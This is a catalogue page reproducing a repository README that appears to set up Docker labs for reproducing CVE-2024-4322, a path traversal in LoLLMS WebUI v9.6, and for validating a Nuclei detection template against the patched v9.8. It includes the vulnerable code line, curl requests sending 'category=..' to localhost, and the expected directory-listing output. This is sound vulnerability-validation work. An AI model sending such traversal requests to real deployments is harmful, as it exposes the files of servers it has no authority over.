Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC_CVE-2024-4322 — POC_CVE-2024-4322 | Kitploit
Инструменты/GitHubGitHub/mj-bin/poc_cve-2024-4322
Анализ уязвимостейЭксплуатацияВеб-безопасностьCTFОбучение и ОбразованиеЛаборатории и Практика
GitHubmj-bin/poc_cve-2024-4322

POC_CVE-2024-4322

POC_CVE-2024-4322

Репозиторий
265 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-4322: Лаборатория PoC и валидации Nuclei для LoLLMS WebUI

Этот репозиторий предоставляет локализованные Docker-лаборатории для воспроизведения CVE-2024-4322 — уязвимости обхода пути (path traversal) в LoLLMS WebUI v9.6, а также для проверки того, что соответствующий шаблон Nuclei не срабатывает на LoLLMS WebUI v9.8.

Используйте эту лабораторию только против локальных, собственных или явно авторизованных целей.

Краткое описание уязвимости

Конечная точка /list_personalities в LoLLMS WebUI v9.6 уязвима к обходу пути. Пользовательский параметр category добавляется к personalities_zoo_path без санитизации:

personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'

Отправив category=.., запрос может выйти за пределы целевой директории personalities и отобразить содержимое родительской директории.

Ожидаемый сигнал уязвимости:

category=   -> []
category=.. -> response contains "personalities_zoo"

Исправленное поведение в v9.8 отклоняет попытку обхода до листинга директории.

Матрица лабораторий

СредаВерсияСервисURL хостаОжидаемый результат шаблона
Linux уязвимыйv9.6linux-vuln-serverhttp://127.0.0.1:9600совпадает
Linux исправленныйv9.8linux-patched-serverhttp://127.0.0.1:9602не совпадает
Windows уязвимыйv9.6windows-vuln-serverhttp://127.0.0.1:9601совпадает
Windows исправленныйv9.8windows-patched-serverhttp://127.0.0.1:9603не совпадает

Выполняйте все команды из каталога, содержащего этот README.

Linux: Уязвимая лаборатория

1. Запуск сервера

docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server

Дождитесь:

Uvicorn running on http://0.0.0.0:9600

Нажмите Ctrl-C, чтобы остановить отслеживание логов. Контейнер продолжит работу.

2. Проверка HTTP-поведения

curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .

Ожидаемый результат:

[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]

Порядок может отличаться. Важный сигнал — ответ при обходе отличается от контрольного и содержит personalities_zoo.

3. Валидация с помощью Nuclei

nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug

Ожидаемый результат:

[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

Проверка Nuclei для уязвимого Linux

Linux: Исправленная лаборатория

1. Запуск сервера

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server

Дождитесь:

Uvicorn running on http://0.0.0.0:9600

2. Проверка HTTP-поведения

curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'

Ожидаемый результат:

category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Валидация с помощью Nuclei

nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml

Ожидаемый результат:

[INF] Scan completed ... 0 matches found.

Проверка Nuclei для исправленного Linux

Windows: Уязвимая лаборатория

Для этого требуется Docker Desktop в режиме Windows containers. Выполняйте команды ниже из этого каталога в PowerShell.

1. Запуск сервера

docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server

Дождитесь:

Uvicorn running on http://0.0.0.0:9600

2. Проверка HTTP-поведения

curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."

Ожидаемый результат:

[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]

Порядок может отличаться. Важный сигнал — ответ при обходе отличается от контрольного и содержит personalities_zoo.

3. Валидация с помощью Nuclei

nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug

Ожидаемый результат:

[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Проверка Nuclei для уязвимого Windows

Windows: Исправленная лаборатория

Для этого требуется Docker Desktop в режиме Windows containers. Выполняйте команды ниже из этого каталога в PowerShell.

1. Запуск сервера

docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server

Дождитесь:

Uvicorn running on http://0.0.0.0:9600

2. Проверка HTTP-поведения

curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."

Ожидаемый результат:

category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Валидация с помощью Nuclei

nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml

Ожидаемый результат:

[INF] Scan completed ... 0 matches found.

Проверка Nuclei для исправленного Windows

Очистка

Контейнеры Linux:

docker compose --profile patched down --rmi local

Контейнеры Windows:

docker compose --profile windows down

Требования

  • Docker и Docker Compose.
  • Docker Desktop в режиме контейнеров Windows для Windows-лабораторий.
  • curl.
  • jq для примеров HTTP на уязвимом Linux.
  • Nuclei для валидации шаблонов.

Если jq недоступен на хосте Linux, используйте контейнер аналитика:

docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .

Если Nuclei не установлен в Windows, загрузите бинарный файл для Windows с https://github.com/projectdiscovery/nuclei/releases, распакуйте его и запустите nuclei.exe напрямую из извлеченного каталога.

Примечания по настройке лаборатории

Dockerfile'ы исправляют исторические установщики во время сборки, чтобы лабораторию можно было воспроизвести сегодня:

  • Уязвимые лаборатории клонируют тег lollms-webui v9.6.

  • Исправленные лаборатории клонируют тег lollms-webui v9.8.

  • URL подмодуля lollms_core переписывается на https://github.com/ParisNeo/lollms_legacy.git, поскольку старая история исходного кода была перенесена туда.

  • Привязка версий проверяется по метаданным Git из upstream: v9.6 — e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, а v9.8 — 8a8e3a1c386321f641a014bf8f7029512ccad411.

    git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
    
Скачать инструмент